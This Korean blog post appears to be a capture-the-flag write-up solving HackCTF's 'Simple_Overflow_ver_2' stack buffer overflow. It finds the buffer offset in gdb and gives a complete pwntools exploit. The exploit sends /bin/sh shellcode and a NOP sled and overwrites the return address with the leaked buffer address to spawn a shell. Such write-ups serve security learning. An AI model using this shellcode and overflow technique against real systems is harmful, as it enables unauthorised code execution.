본문 바로가기

Pwnable/HackCTF

[ProjectH4C] HackCTF (Simple_Overflow_ver_2)

해당 프로그램은 값을 입력하면 해당 값이 저장되는 위치가 출력되면서 저장된 값을 바이트 단위로 구분해서 출력해주는 프로그램인 듯 하다. 

먼저 IDA를 이용해 코드를 확인해보았다.

 

먼저 buf의 위치를 찾아보도록 한다. IDA를 보면 바로 알 수 있지만 그래도 gdb를 통해 확인해보도록 한다.

값을 입력받은 직후(main+88)에 중단점을 걸고 입력으로 "AAAAAAAAAAAAAA"를 넘겨보았다.

 

 

ebp의 위치는 0xffffd138이고 A가 저장되기 시작한 위치는 0xffffd0b0이다. 이 둘을 빼주면 IDA에서와 동일하게 0x88이 나온다. 이는 10진수로 136이 되며, ebp 4바이트를 더해주면 140바이트가 된다. 페이로드는 다음과 같다.

payload = "쉘 코드 25바이트" + "\x90"*115 + "buf의 주소"

 

해당 프로그램은 입력을 한번 한 이후에 buf의 주소를 알려주기 때문에, pwntool을 이용해 일단 한번 실행하면서 buf의 주소를 저장해두고, Again (y/n): 에서 y를 입력한 후에 공격을 실행하도록 했다.

from pwn import *

r = remote("ctf.j0n9hyun.xyz", 3006)

payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
payload += "\x90"*115

r.recvuntil(":") #Data :
r.sendline("test")

buf = int(r.recvuntil(":")[:-1], 16)
payload += p32(buf)

r.recvuntil(":") #Again (y/n): 
r.sendline("y")

r.recvuntil(":") #Data :
r.sendline(payload)
r.interactive()

성공!